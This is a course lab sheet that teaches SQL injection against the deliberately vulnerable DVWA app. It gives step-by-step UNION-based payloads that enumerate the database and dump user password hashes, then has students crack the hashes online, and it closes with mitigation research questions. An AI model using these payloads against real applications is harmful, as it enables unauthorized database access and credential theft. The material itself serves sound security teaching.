Skip to content

lab7.md

Latest commit

 

History

History
107 lines (74 loc) · 3.5 KB

lab7.md

File metadata and controls

107 lines (74 loc) · 3.5 KB
Raw

Lab 7- Injection Attacks

Objectives: In this lab, you will exploit a web application’s vulnerability using SQL injection and research methods for SQL injection mitigation.

Part 1: Exploit an SQL Injection Vulnerability on DVWA

Background / Scenario: SQL injection is a widespread attack used to exploit vulnerabilities in SQL database-driven web applications. Attackers use this technique to manipulate databases by injecting malicious SQL code into input fields, aiming to access sensitive information or alter data.

Required Resources:

  • Kali VM customized for the Ethical Hacker course
  • Internet access

Instructions:

Step 1: Prepare DVWA for SQL Injection Exploit

  1. Open your browser and navigate to the DVWA at http://10.6.6.13.
  2. Log in with the credentials: admin / password.
  3. Set DVWA to Low Security:
    • Click DVWA Security in the left pane.
    • Change the security level to Low and click Submit.

Step 2: Check DVWA for a SQL Injection Vulnerability

  1. Click SQL Injection in the left pane.
  2. In the User ID field, type ' OR 1=1 # and click Submit.
  3. Observe the output and determine if the vulnerability exists.

Step 3: Check for Number of Fields in the Query

  1. In the User ID field, type 1' ORDER BY 1 # and click Submit.
  2. In the User ID field, type 1' ORDER BY 2 # and click Submit.
  3. In the User ID field, type 1' ORDER BY 3 # and observe the error message. What does this tell you about the number of fields?

Step 4: Check the Database Version

  1. In the User ID field, type 1' OR 1=1 UNION SELECT 1, VERSION()# and click Submit.
  2. What is the version of the database management system (DBMS)?

Step 5: Determine the Database Name

  1. In the User ID field, type 1' OR 1=1 UNION SELECT 1, DATABASE()# and click Submit.
  2. What is the name of the database?

Step 6: Retrieve Table Names from the Database

  1. In the User ID field, type: 
    1' OR 1=1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_type='base table' AND table_schema='dvwa'#
  2. What are the names of the tables found?

Step 7: Retrieve Column Names from the Users Table

  1. In the User ID field, type: 
    1' OR 1=1 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users'#
  2. What column names are returned?

Step 8: Retrieve User Credentials

  1. In the User ID field, type: 
    1' OR 1=1 UNION SELECT user, password FROM users #
  2. Analyze the usernames and password hashes that are displayed.

Step 9: Hack the Password Hashes

  1. Open another tab in your browser and navigate to CrackStation.
  2. Copy and paste one of the password hashes into CrackStation and click Crack Hashes.
  3. What is the password of the admin account?
  4. What is the password of the pablo account?

Part 2: Research SQL Injection Mitigation

Step 1: Conduct Research on SQL Injection Mitigation

  • Search online for SQL injection mitigation techniques.
  • Document your findings on how SQL injection attacks can be mitigated or prevented.

Reflection Questions

  1. What are three methods to mitigate SQL injection exploits?
  2. Why is input validation important in preventing SQL injection?
  3. How does using parameterized queries or prepared statements help protect against SQL injection?